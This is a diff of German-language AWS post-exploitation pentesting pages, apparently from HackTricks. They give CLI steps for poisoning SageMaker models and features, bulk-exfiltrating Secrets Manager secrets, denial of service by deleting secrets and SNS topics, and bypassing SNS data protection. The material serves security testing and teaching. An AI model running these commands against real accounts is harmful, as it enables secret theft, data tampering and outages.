+"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz"
+}
+],
+"SupportedContentTypes": ["text/csv"],
+"SupportedResponseMIMETypes": ["text/csv"]
+}
+JSON
+aws sagemaker create-model-package --region $REGION   --model-package-group-name $MPG   --model-approval-status Approved   --inference-specification file:///tmp/inf.json
+```
+4) Überprüfe, dass die neue Approved-Version vorhanden ist
+```bash
+aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
+```
+### Auswirkungen
+- Poison the Model Registry mit einer Approved-Version, die auf angreiferkontrollierten Code verweist. Pipelines, die Approved-Modelle automatisch bereitstellen, können das Angreifer-Image ziehen und ausführen, was zur Codeausführung unter endpoint/training roles führt.
+- Mit einer permissiven ModelPackageGroup resource policy (PutModelPackageGroupPolicy) kann dieser Missbrauch kontoübergreifend ausgelöst werden.
+
+## Feature store poisoning
+
+Missbrauche `sagemaker:PutRecord` auf einer Feature Group mit aktiviertem OnlineStore, um Live-Feature-Werte zu überschreiben, die von online inference verwendet werden. In Kombination mit `sagemaker:GetRecord` kann ein Angreifer sensitive Features lesen. Dafür ist kein Zugriff auf models oder endpoints erforderlich.
+
+{{#ref}}
+feature-store-poisoning.md
+{{/ref}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md

@@ -0,0 +1,50 @@
+# SageMaker Feature Store online store poisoning
+
+Missbrauche `sagemaker:PutRecord` auf einer Feature Group mit aktiviertem OnlineStore, um Live-Feature-Werte zu überschreiben, die von Online-Inferenz verwendet werden. In Kombination mit `sagemaker:GetRecord` kann ein Angreifer sensible Features auslesen. Dafür ist kein Zugriff auf Modelle oder endpoints erforderlich.
+
+## Anforderungen
+- Berechtigungen: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
+- Ziel: Feature Group mit OnlineStore enabled (typischerweise backing real-time inference)
+
+## Schritte
+1) Wähle oder erstelle eine kleine Online Feature Group zum Testen
+```bash
+REGION=${REGION:-us-east-1}
+FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
+if [ -z "$FG" -o "$FG" = "None" ]; then
+ACC=$(aws sts get-caller-identity --query Account --output text)
+FG=ht-fg-$ACC-$(date +%s)
+ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole)
+aws sagemaker create-feature-group --region $REGION --feature-group-name "$FG" --record-identifier-feature-name entity_id --event-time-feature-name event_time --feature-definitions "[{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}]" --online-store-config "{\"EnableOnlineStore\":true}" --role-arn "$ROLE_ARN"
+echo "Waiting for feature group to be in Created state..."
+for i in $(seq 1 40); do
+ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true)
+echo $ST; [ "$ST" = "Created" ] && break; sleep 15
+done
+fi
+```
+2) Einen Online-Datensatz einfügen/überschreiben (poison)
+```bash
+NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
+cat > /tmp/put.json << JSON
+{
+"FeatureGroupName": "$FG",
+"Record": [
+{"FeatureName": "entity_id", "ValueAsString": "user-123"},
+{"FeatureName": "event_time", "ValueAsString": "$NOW"},
+{"FeatureName": "risk_score", "ValueAsString": "0.99"}
+],
+"TargetStores": ["OnlineStore"]
+}
+JSON
+aws sagemaker-featurestore-runtime put-record --region $REGION --cli-input-json file:///tmp/put.json
+```
+3) Datensatz zurücklesen, um die Manipulation zu bestätigen
+```bash
+aws sagemaker-featurestore-runtime get-record --region $REGION --feature-group-name "$FG" --record-identifier-value-as-string user-123 --feature-name risk_score --query "Record[0].ValueAsString"
+```
+Erwartet: risk_score liefert 0.99 (vom Angreifer gesetzt) und beweist die Fähigkeit, Online-Features zu verändern, die von Modellen verwendet werden.
+
+## Auswirkungen
+- Echtzeit-Integritätsangriff: Manipuliere Features, die von Produktionsmodellen verwendet werden, ohne Endpunkte/Modelle zu berühren.
+- Vertraulichkeitsrisiko: Sensible Features via GetRecord aus dem OnlineStore lesen.

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md

@@ -1,130 +0,0 @@
-# AWS - Secrets Manager Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Secrets Manager
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../aws-services/aws-secrets-manager-enum.md
-{{#endref}}
-
-### Secrets auslesen
-
-Die **Secrets selbst sind sensible Informationen**, [check the privesc page](../aws-privilege-escalation/aws-secrets-manager-privesc.md) um zu lernen, wie man sie ausliest.
-
-### DoS Change Secret Value
-
-Wenn du den Wert eines Secrets änderst, könntest du **ein DoS für alle Systeme verursachen, die von diesem Wert abhängen.**
-
-> [!WARNING]
-> Beachte, dass frühere Werte ebenfalls gespeichert werden, sodass es einfach ist, zum vorherigen Wert zurückzukehren.
-```bash
-# Requires permission secretsmanager:PutSecretValue
-aws secretsmanager put-secret-value \
---secret-id MyTestSecret \
---secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
-```
-### DoS Change KMS key
-
-Wenn der Angreifer die Berechtigung secretsmanager:UpdateSecret besitzt, kann er das Secret so konfigurieren, dass es einen von ihm kontrollierten KMS-Key verwendet. Dieser Key wird zunächst so eingerichtet, dass jeder darauf zugreifen und ihn verwenden kann, sodass das Aktualisieren des Secrets mit dem neuen Key möglich ist. Wäre der Key nicht zugänglich gewesen, hätte das Secret nicht aktualisiert werden können.
-
-Nachdem der Key für das Secret geändert wurde, ändert der Angreifer die Konfiguration seines Keys so, dass nur noch er darauf zugreifen kann. Dadurch werden nachfolgende Versionen des Secrets mit dem neuen Key verschlüsselt, und da kein Zugriff auf diesen Key besteht, geht die Möglichkeit verloren, das Secret abzurufen.
-
-Es ist wichtig zu beachten, dass diese Unzugänglichkeit nur in späteren Versionen auftreten wird, nachdem der Inhalt des Secrets geändert wurde, da die aktuelle Version weiterhin mit dem ursprünglichen KMS-Key verschlüsselt ist.
-```bash
-aws secretsmanager update-secret \
---secret-id MyTestSecret \
---kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
-```
-### DoS Deleting Secret
-
-Die minimale Anzahl von Tagen, um ein secret zu löschen, beträgt 7
-```bash
-aws secretsmanager delete-secret \
---secret-id MyTestSecret \
---recovery-window-in-days 7
-```
-## secretsmanager:RestoreSecret
-
-Es ist möglich, ein secret wiederherzustellen. Dadurch können secrets wiederhergestellt werden, die zur Löschung geplant sind, da die minimale Löschfrist für secrets 7 Tage und die maximale 30 Tage beträgt. Zusammen mit der Berechtigung secretsmanager:GetSecretValue lässt sich so deren Inhalt abrufen.
-
-Um ein secret wiederherzustellen, das sich im Löschvorgang befindet, können Sie den folgenden Befehl verwenden:
-```bash
-aws secretsmanager restore-secret \
---secret-id <Secret_Name>
-```
-## secretsmanager:DeleteResourcePolicy
-
-Diese Aktion erlaubt das Löschen der Ressourcenrichtlinie, die steuert, wer auf ein Secret zugreifen kann. Dies könnte zu einem DoS führen, wenn die Ressourcenrichtlinie so konfiguriert war, dass nur einer bestimmten Benutzergruppe Zugriff gewährt wurde.
-
-Um die Ressourcenrichtlinie zu löschen:
-```bash
-aws secretsmanager delete-resource-policy \
---secret-id <Secret_Name>
-```
-## secretsmanager:UpdateSecretVersionStage
-
-Die Zustände von Secrets werden verwendet, um deren Versionen zu verwalten. AWSCURRENT markiert die aktive Version, die Anwendungen verwenden; AWSPREVIOUS behält die vorherige Version, damit man bei Bedarf zurückrollen kann; und AWSPENDING wird im Rotation-Prozess genutzt, um eine neue Version vorzubereiten und zu validieren, bevor sie zur aktuellen Version wird.
-
-Anwendungen lesen immer die Version mit AWSCURRENT. Wenn jemand dieses Label auf die falsche Version verschiebt, verwenden die Anwendungen ungültige Anmeldeinformationen und können ausfallen.
-
-AWSPREVIOUS wird nicht automatisch verwendet. Wenn AWSCURRENT jedoch entfernt oder falsch neu zugewiesen wird, kann es so aussehen, als würde weiterhin mit der vorherigen Version gearbeitet.
-```bash
-aws secretsmanager update-secret-version-stage \
---secret-id <your-secret-name-or-arn> \
---version-stage AWSCURRENT \
---move-to-version-id <target-version-id> \
---remove-from-version-id <previous-version-id>
-```
-{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
-
-### Mass Secret Exfiltration via BatchGetSecretValue (bis zu 20 pro Aufruf)
-
-Abuse the Secrets Manager BatchGetSecretValue API to retrieve up to 20 secrets in a single request. This can dramatically reduce API-call volume compared to iterating GetSecretValue per secret. If filters are used (tags/name), ListSecrets permission is also required. CloudTrail still records one GetSecretValue event per secret retrieved in the batch.
-
-Erforderliche Berechtigungen
-- secretsmanager:BatchGetSecretValue
-- secretsmanager:GetSecretValue für jedes Ziel-Secret
-- secretsmanager:ListSecrets wenn --filters verwendet wird
-- kms:Decrypt auf den CMKs, die für die Secrets verwendet werden (wenn nicht aws/secretsmanager)
-
-> [!WARNING]
-> Beachte, dass die Berechtigung `secretsmanager:BatchGetSecretValue` allein nicht ausreicht, um Secrets abzurufen — du benötigst zudem `secretsmanager:GetSecretValue` für jedes Secret, das du abrufen möchtest.
-
-Exfiltrate by explicit list
-```bash
-aws secretsmanager batch-get-secret-value \
---secret-id-list <secret1> <secret2> <secret3> \
---query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
-```
-Exfiltrate durch Filter (tag key/value oder name prefix)
-```bash
-# By tag key
-aws secretsmanager batch-get-secret-value \
---filters Key=tag-key,Values=env \
---max-results 20 \
---query 'SecretValues[].{Name:Name,Val:SecretString}'
-
-# By tag value
-aws secretsmanager batch-get-secret-value \
---filters Key=tag-value,Values=prod \
---max-results 20
-
-# By name prefix
-aws secretsmanager batch-get-secret-value \
---filters Key=name,Values=MyApp
-```
-Umgang mit teilweisen Ausfällen
-```bash
-# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
-aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
-```
-Auswirkungen
-- Schnelles “smash-and-grab” vieler Secrets mit weniger API-Aufrufen, das möglicherweise Alarmierungen umgeht, die auf Spitzen von GetSecretValue ausgelegt sind.
-- CloudTrail-Protokolle enthalten weiterhin ein GetSecretValue-Ereignis pro im Batch abgerufenes Secret.

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md

@@ -0,0 +1,130 @@
+# AWS - Secrets Manager Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Secrets Manager
+
+Für weitere Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-secrets-manager-enum.md
+{{#endref}}
+
+### Secrets auslesen
+
+Die **Secrets selbst sind sensible Informationen**, [siehe die privesc-Seite](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md), um zu erfahren, wie man sie ausliest.
+
+### DoS: Secret-Wert ändern
+
+Wenn du den Wert des Secret änderst, könntest du damit **ein DoS für alle Systeme verursachen, die von diesem Wert abhängen.**
+
+> [!WARNING]
+> Beachte, dass vorherige Werte ebenfalls gespeichert werden, sodass es einfach ist, wieder zum vorherigen Wert zurückzukehren.
+```bash
+# Requires permission secretsmanager:PutSecretValue
+aws secretsmanager put-secret-value \
+--secret-id MyTestSecret \
+--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
+```
+### DoS Change KMS key
+
+Wenn der Angreifer die Berechtigung secretsmanager:UpdateSecret hat, kann er das secret so konfigurieren, dass es einen KMS key verwendet, der dem Angreifer gehört. Dieser key wird zunächst so eingerichtet, dass jeder darauf zugreifen und ihn verwenden kann, sodass das Aktualisieren des secret mit dem neuen key möglich ist. Wenn der key nicht zugänglich wäre, könnte das secret nicht aktualisiert werden.
+
+Nachdem der key für das secret geändert wurde, passt der Angreifer die Konfiguration seines keys so an, dass nur noch er darauf zugreifen kann. Auf diese Weise werden in den nachfolgenden Versionen des secret diese mit dem neuen key verschlüsselt, und da kein Zugriff darauf besteht, geht die Möglichkeit verloren, das secret abzurufen.
+
+Es ist wichtig zu beachten, dass diese Unzugänglichkeit nur in späteren Versionen auftritt, nachdem sich der Inhalt des secret geändert hat, da die aktuelle Version weiterhin mit dem ursprünglichen KMS key verschlüsselt ist.
+```bash
+aws secretsmanager update-secret \
+--secret-id MyTestSecret \
+--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
+```
+### DoS Secret löschen
+
+Die minimale Anzahl an Tagen, um ein Secret zu löschen, beträgt 7.
+```bash
+aws secretsmanager delete-secret \
+--secret-id MyTestSecret \
+--recovery-window-in-days 7
+```
+## secretsmanager:RestoreSecret
+
+Es ist möglich, ein Secret wiederherzustellen, wodurch Secrets wiederhergestellt werden können, die zur Löschung geplant wurden, da die minimale Löschfrist für Secrets 7 Tage und die maximale 30 Tage beträgt. Zusammen mit der Berechtigung secretsmanager:GetSecretValue ermöglicht dies, deren Inhalte abzurufen.
+
+Um ein Secret wiederherzustellen, das sich im Löschvorgang befindet, können Sie den folgenden Befehl verwenden:
+```bash
+aws secretsmanager restore-secret \
+--secret-id <Secret_Name>
+```
+## secretsmanager:DeleteResourcePolicy
+
+Diese Aktion erlaubt das Löschen der Ressourcenrichtlinie, die steuert, wer auf ein Secret zugreifen kann. Dies könnte zu einem DoS führen, wenn die Ressourcenrichtlinie so konfiguriert war, dass sie Zugriff für eine bestimmte Benutzergruppe erlaubt.
+
+Um die Ressourcenrichtlinie zu löschen:
+```bash
+aws secretsmanager delete-resource-policy \
+--secret-id <Secret_Name>
+```
+## secretsmanager:UpdateSecretVersionStage
+
+Die Zustände eines Secret werden verwendet, um Versionen eines Secret zu verwalten. AWSCURRENT kennzeichnet die aktive Version, die Anwendungen verwenden, AWSPREVIOUS behält die vorherige Version, damit Sie bei Bedarf zurückrollen können, und AWSPENDING wird im Rotationsprozess genutzt, um eine neue Version vorzubereiten und zu validieren, bevor sie zur aktuellen Version gemacht wird.
+
+Anwendungen lesen immer die Version mit AWSCURRENT. Wenn jemand dieses Label auf eine falsche Version verschiebt, verwenden die Anwendungen ungültige Zugangsdaten und können fehlschlagen.
+
+AWSPREVIOUS wird nicht automatisch verwendet. Wenn AWSCURRENT jedoch entfernt oder falsch neu zugewiesen wird, kann es so aussehen, als würde weiterhin alles mit der vorherigen Version laufen.
+```bash
+aws secretsmanager update-secret-version-stage \
+--secret-id <your-secret-name-or-arn> \
+--version-stage AWSCURRENT \
+--move-to-version-id <target-version-id> \
+--remove-from-version-id <previous-version-id>
+```
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+
+
+### Massen-Secret-Exfiltration via BatchGetSecretValue (bis zu 20 pro Aufruf)
+
+Missbrauche die Secrets Manager BatchGetSecretValue API, um bis zu 20 secrets in einer einzigen Anfrage abzurufen. Das kann die Anzahl der API-Aufrufe im Vergleich zum iterativen Aufrufen von GetSecretValue pro secret deutlich reduzieren. Wenn Filter verwendet werden (tags/name), wird zudem die ListSecrets-Berechtigung benötigt. CloudTrail zeichnet trotzdem für jedes im Batch abgerufene secret ein GetSecretValue-Event auf.
+
+Erforderliche Berechtigungen
+- secretsmanager:BatchGetSecretValue
+- secretsmanager:GetSecretValue für jedes Ziel-secret
+- secretsmanager:ListSecrets bei Verwendung von --filters
+- kms:Decrypt auf den für die secrets verwendeten CMKs (wenn nicht aws/secretsmanager verwendet wird)
+
+> [!WARNING]
+> Beachte, dass die Berechtigung `secretsmanager:BatchGetSecretValue` allein nicht ausreicht, um secrets abzurufen — du benötigst außerdem `secretsmanager:GetSecretValue` für jedes secret, das du abrufen möchtest.
+
+Exfiltrieren über explizite Liste
+```bash
+aws secretsmanager batch-get-secret-value \
+--secret-id-list <secret1> <secret2> <secret3> \
+--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
+```
+Exfiltrate mittels Filter (tag key/value oder name prefix)
+```bash
+# By tag key
+aws secretsmanager batch-get-secret-value \
+--filters Key=tag-key,Values=env \
+--max-results 20 \
+--query 'SecretValues[].{Name:Name,Val:SecretString}'
+
+# By tag value
+aws secretsmanager batch-get-secret-value \
+--filters Key=tag-value,Values=prod \
+--max-results 20
+
+# By name prefix
+aws secretsmanager batch-get-secret-value \
+--filters Key=name,Values=MyApp
+```
+Umgang mit teilweisen Fehlern
+```bash
+# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
+aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
+```
+Auswirkungen
+- Rascher „smash-and-grab“ vieler secrets mit weniger API-Aufrufen, wodurch möglicherweise Alarmierungen, die auf Spitzen von GetSecretValue ausgelegt sind, umgangen werden.
+- CloudTrail-Logs enthalten weiterhin ein GetSecretValue-Ereignis pro secret, das vom Batch abgerufen wurde.

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md

@@ -1,18 +1,18 @@
 # AWS - SES Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## SES
 
 Für weitere Informationen siehe:
 
 {{#ref}}
-../aws-services/aws-ses-enum.md
+../../aws-services/aws-ses-enum.md
 {{#endref}}
 
 ### `ses:SendEmail`
 
-Eine E-Mail senden.
+E-Mail senden.
 ```bash
 aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json
 aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json
@@ -21,7 +21,7 @@ Noch zu testen.
 
 ### `ses:SendRawEmail`
 
-Eine E-Mail senden.
+E-Mail senden.
 ```bash
 aws ses send-raw-email --raw-message file://message.json
 ```
@@ -29,7 +29,7 @@ Noch zu testen.
 
 ### `ses:SendTemplatedEmail`
 
-Senden Sie eine E-Mail basierend auf einer Vorlage.
+Sendet eine E-Mail basierend auf einer Vorlage.
 ```bash
 aws ses  send-templated-email --source <value> --destination <value> --template <value>
 ```
@@ -37,7 +37,7 @@ Noch zu testen.
 
 ### `ses:SendBulkTemplatedEmail`
 
-Senden Sie eine E-Mail an mehrere Empfänger.
+Eine E-Mail an mehrere Empfänger senden
 ```bash
 aws ses send-bulk-templated-email --source <value> --template <value>
 ```
@@ -45,23 +45,25 @@ Noch zu testen.
 
 ### `ses:SendBulkEmail`
 
-Senden Sie eine E-Mail an mehrere Empfänger.
+Eine E-Mail an mehrere Empfänger senden.
 ```
 aws sesv2 send-bulk-email --default-content <value> --bulk-email-entries <value>
 ```
 ### `ses:SendBounce`
 
-Senden Sie eine **Bounce-E-Mail** über eine empfangene E-Mail (die anzeigt, dass die E-Mail nicht empfangen werden konnte). Dies kann nur **bis zu 24 Stunden nach dem Empfang** der E-Mail erfolgen.
+Sende eine **bounce email** für eine empfangene E-Mail (die anzeigt, dass die E-Mail nicht zugestellt werden konnte). Dies kann nur **bis zu 24h nach dem Empfang** der E-Mail durchgeführt werden.
 ```bash
 aws ses send-bounce --original-message-id <value> --bounce-sender <value> --bounced-recipient-info-list <value>
 ```
+Noch zu testen.
+
 ### `ses:SendCustomVerificationEmail`
 
-Dies sendet eine angepasste Bestätigungs-E-Mail. Möglicherweise benötigen Sie auch Berechtigungen, um die Vorlage für die E-Mail zu erstellen.
+Dies sendet eine angepasste Bestätigungs-E-Mail. Möglicherweise benötigen Sie außerdem Berechtigungen, um die E-Mail-Vorlage zu erstellen.
 ```bash
 aws ses send-custom-verification-email --email-address <value> --template-name <value>
 aws sesv2 send-custom-verification-email --email-address <value> --template-name <value>
 ```
 Noch zu testen.
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md

@@ -1,68 +0,0 @@
-# AWS - SNS Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SNS
-
-Für weitere Informationen:
-
-{{#ref}}
-../aws-services/aws-sns-enum.md
-{{#endref}}
-
-### Nachrichten stören
-
-In mehreren Fällen werden SNS-Themen verwendet, um Nachrichten an überwachte Plattformen (E-Mails, Slack-Nachrichten...) zu senden. Wenn ein Angreifer das Senden der Nachrichten verhindert, die über seine Anwesenheit in der Cloud informieren, könnte er unentdeckt bleiben.
-
-### `sns:DeleteTopic`
-
-Ein Angreifer könnte ein ganzes SNS-Thema löschen, was zu Nachrichtenverlust führt und Anwendungen beeinträchtigt, die auf das Thema angewiesen sind.
-```bash
-aws sns delete-topic --topic-arn <value>
-```
-**Potenzielle Auswirkungen**: Nachrichtenverlust und Dienstunterbrechung für Anwendungen, die das gelöschte Thema verwenden.
-
-### `sns:Publish`
-
-Ein Angreifer könnte bösartige oder unerwünschte Nachrichten an das SNS-Thema senden, was potenziell zu Datenkorruption, ungewollten Aktionen oder Ressourcenerschöpfung führen könnte.
-```bash
-aws sns publish --topic-arn <value> --message <value>
-```
-**Potenzielle Auswirkungen**: Datenkorruption, unbeabsichtigte Aktionen oder Ressourcenerschöpfung.
-
-### `sns:SetTopicAttributes`
-
-Ein Angreifer könnte die Attribute eines SNS-Themen ändern, was möglicherweise die Leistung, Sicherheit oder Verfügbarkeit beeinträchtigt.
-```bash
-aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attribute-value <value>
-```
-**Potenzielle Auswirkungen**: Fehlkonfigurationen, die zu einer verringerten Leistung, Sicherheitsproblemen oder reduzierter Verfügbarkeit führen.
-
-### `sns:Subscribe` , `sns:Unsubscribe`
-
-Ein Angreifer könnte sich an ein SNS-Thema anmelden oder abmelden, wodurch er möglicherweise unbefugten Zugriff auf Nachrichten erhält oder die normale Funktion von Anwendungen, die auf das Thema angewiesen sind, stört.
-```bash
-aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
-aws sns unsubscribe --subscription-arn <value>
-```
-**Potenzielle Auswirkungen**: Unbefugter Zugriff auf Nachrichten, Dienstunterbrechung für Anwendungen, die auf das betroffene Thema angewiesen sind.
-
-### `sns:AddPermission` , `sns:RemovePermission`
-
-Ein Angreifer könnte unbefugten Benutzern oder Diensten Zugriff auf ein SNS-Thema gewähren oder Berechtigungen für legitime Benutzer widerrufen, was zu Störungen im normalen Betrieb von Anwendungen führt, die auf das Thema angewiesen sind.
-```css
-aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
-aws sns remove-permission --topic-arn <value> --label <value>
-```
-**Potenzielle Auswirkungen**: Unbefugter Zugriff auf das Thema, Nachrichtenexposition oder Themenmanipulation durch unbefugte Benutzer oder Dienste, Störung der normalen Funktionalität für Anwendungen, die auf das Thema angewiesen sind.
-
-### `sns:TagResource` , `sns:UntagResource`
-
-Ein Angreifer könnte Tags von SNS-Ressourcen hinzufügen, ändern oder entfernen, was die Kostenallokation, die Ressourcenverfolgung und die Zugriffskontrollrichtlinien Ihrer Organisation, die auf Tags basieren, stören könnte.
-```bash
-aws sns tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
-aws sns untag-resource --resource-arn <value> --tag-keys <key>
-```
-**Potenzielle Auswirkungen**: Störung der Kostenallokation, Ressourcenverfolgung und tagbasierter Zugriffskontrollrichtlinien.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md

@@ -0,0 +1,82 @@
+# AWS - SNS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SNS
+
+Für weitere Informationen:
+
+{{#ref}}
+../../aws-services/aws-sns-enum.md
+{{#endref}}
+
+### Nachrichten stören
+
+In mehreren Fällen werden SNS topics verwendet, um Nachrichten an Plattformen zu senden, die überwacht werden (E-Mails, slack messages...). Wenn ein Angreifer das Versenden der Nachrichten verhindert, die über seine Präsenz in der Cloud alarmieren, könnte er unentdeckt bleiben.
+
+### `sns:DeleteTopic`
+
+Ein Angreifer könnte ein gesamtes SNS topic löschen, was zu Nachrichtenverlust führen und Anwendungen beeinträchtigen könnte, die auf das topic angewiesen sind.
+```bash
+aws sns delete-topic --topic-arn <value>
+```
+**Potentielle Auswirkungen**: Nachrichtenverlust und Dienstunterbrechung für Anwendungen, die das gelöschte Topic verwenden.
+
+### `sns:Publish`
+
+Ein Angreifer könnte bösartige oder unerwünschte Nachrichten an das SNS-Topic senden, was möglicherweise Datenkorruption verursacht, unbeabsichtigte Aktionen auslöst oder Ressourcen erschöpft.
+```bash
+aws sns publish --topic-arn <value> --message <value>
+```
+**Potentielle Auswirkungen**: Datenkorruption, unbeabsichtigte Aktionen oder Ressourcenerschöpfung.
+
+### `sns:SetTopicAttributes`
+
+Ein Angreifer könnte die Attribute eines SNS-Topics ändern und dadurch potenziell dessen Leistung, Sicherheit oder Verfügbarkeit beeinträchtigen.
+```bash
+aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attribute-value <value>
+```
+**Potenzielle Auswirkungen**: Fehlkonfigurationen, die zu verschlechterter Leistung, Sicherheitsproblemen oder verminderter Verfügbarkeit führen.
+
+### `sns:Subscribe` , `sns:Unsubscribe`
+
+Ein Angreifer könnte sich auf ein SNS-Topic abonnieren oder sich davon abmelden, wodurch er möglicherweise unautorisierten Zugriff auf Nachrichten erlangt oder das normale Funktionieren von Anwendungen, die auf das Topic angewiesen sind, stören kann.
+```bash
+aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
+aws sns unsubscribe --subscription-arn <value>
+```
+**Mögliche Auswirkungen**: Unbefugter Zugriff auf Nachrichten, Dienstunterbrechungen für Anwendungen, die auf das betroffene SNS-Topic angewiesen sind.
+
+### `sns:AddPermission` , `sns:RemovePermission`
+
+Ein Angreifer könnte unbefugten Benutzern oder Diensten Zugriff auf ein SNS-Topic gewähren oder Berechtigungen für legitime Benutzer entziehen, was zu Störungen der normalen Funktion von Anwendungen führen kann, die auf das Topic angewiesen sind.
+```bash
+aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
+aws sns remove-permission --topic-arn <value> --label <value>
+```
+**Mögliche Auswirkungen**: Unbefugter Zugriff auf das Topic, Offenlegung von Nachrichten oder Manipulation des Topics durch unbefugte Benutzer oder Dienste, Störung der normalen Funktionalität von Anwendungen, die auf dem Topic angewiesen sind.
+
+### `sns:TagResource` , `sns:UntagResource`
+
+Ein Angreifer könnte Tags zu SNS-Ressourcen hinzufügen, ändern oder entfernen und dadurch die Kostenallokation, die Ressourcenverfolgung und die auf Tags basierenden Richtlinien zur Zugriffskontrolle Ihrer Organisation beeinträchtigen.
+```bash
+aws sns tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
+aws sns untag-resource --resource-arn <value> --tag-keys <key>
+```
+**Mögliche Auswirkungen**: Störung der Kostenallokation, der Ressourcenverfolgung und von tagbasierten Zugriffskontrollrichtlinien.
+
+### Weitere SNS Post-Exploitation Techniques
+
+{{#ref}}
+aws-sns-data-protection-bypass.md
+{{#endref}}
+
+{{#ref}}
+aws-sns-fifo-replay-exfil.md
+{{#endref}}
+
+{{#ref}}
+aws-sns-firehose-exfil.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md

@@ -0,0 +1,92 @@
+# AWS - SNS Message Data Protection Bypass via Policy Downgrade
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Wenn Sie `sns:PutDataProtectionPolicy` für ein Topic haben, können Sie dessen Message Data Protection-Richtlinie von Deidentify/Deny auf Audit-only umstellen (oder Outbound-Kontrollen entfernen), sodass sensible Werte (z. B. Kreditkartennummern) unverändert an Ihre Subscription geliefert werden.
+
+## Voraussetzungen
+- Berechtigungen für das Ziel-Topic, um `sns:PutDataProtectionPolicy` aufzurufen (und normalerweise `sns:Subscribe`, wenn Sie die Daten empfangen möchten).
+- Standard SNS topic (Message Data Protection wird unterstützt).
+
+## Angriffsschritte
+
+- Variablen
+
+```bash
+REGION=us-east-1
+```
+
+1) Erstellen Sie ein Standard-Topic und eine Angreifer-SQS-Queue, und erlauben Sie nur diesem Topic, an die Queue zu senden
+
+```bash
+TOPIC_ARN=$(aws sns create-topic --name ht-dlp-bypass-$(date +%s) --region $REGION --query TopicArn --output text)
+Q_URL=$(aws sqs create-queue --queue-name ht-dlp-exfil-$(date +%s) --region $REGION --query QueueUrl --output text)
+Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes Policy=Version:2012-10-17
+```
+
+2) Hängen Sie eine Data Protection-Policy an, die Kreditkartennummern in ausgehenden Nachrichten maskiert
+
+```bash
+cat > /tmp/ht-dlp-policy.json <<'JSON'
+{
+"Name": "__ht_dlp_policy",
+"Version": "2021-06-01",
+"Statement": [{
+"Sid": "MaskCCOutbound",
+"Principal": ["*"],
+"DataDirection": "Outbound",
+"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
+"Operation": { "Deidentify": { "MaskConfig": { "MaskWithCharacter": "#" } } }
+}]
+}
+JSON
+aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-policy.json)"
+```
+
